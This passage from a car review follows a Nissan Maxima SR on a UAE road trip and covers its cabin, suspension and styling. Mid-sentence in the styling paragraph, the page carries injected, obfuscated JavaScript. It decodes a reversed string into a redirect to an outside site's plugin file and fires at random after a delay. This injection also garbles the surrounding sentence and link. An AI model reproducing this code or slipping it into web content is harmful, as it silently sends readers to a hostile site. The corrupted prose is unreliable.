Now it’s time to see how that sport-tuned suspension handles the 300(ish)km remaining from Ras Al Khaimah to Fujairah and back to Dubai.

Improvements to the cabin mean the Maxima stands a good chance. Our SR test model features among other things ‘Liquid Chrome’ trim and premium leather upholstery, but at the base, the saloon also boasts heated and cooled leather seats, an updated NissanConnect infotainment system, and an 11-speaker Bose surround sound system. Being 2.2in longer than its predecessor also means cabin space has increased, while independent front suspension and 245/40 all-season tyres aim to find a fine balance between road holding and comfort. Plenty of updates on the design easel then.

Perhaps most striking about $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/nissan/”>Nissan’s revised flagship though are the looks, the Japanese marque taking a more radical approach than times gone by with its new ‘futuristic design language’. Based on the Nissan Sport Sedan Concept which first made its debut in 2014, the new looks include ‘diamond-turned’ 19in wheels, a V-Motion front end, and ‘Boomerang’-style headlights. Top it all off with Coulis Red paintwork and it’s a striking look for Nissan’s flagship.

With the first location of our United Arab Emirates road trip under our belt – one of three chosen for us by fans of Nissan Middle East – our convoy makes its way to the second at Al Badiya Mosque before calling it a day at Mina Bazar in Creekside, Dubai. That’s the plan at least, but as you’ll see, things don’t run quite to plan…
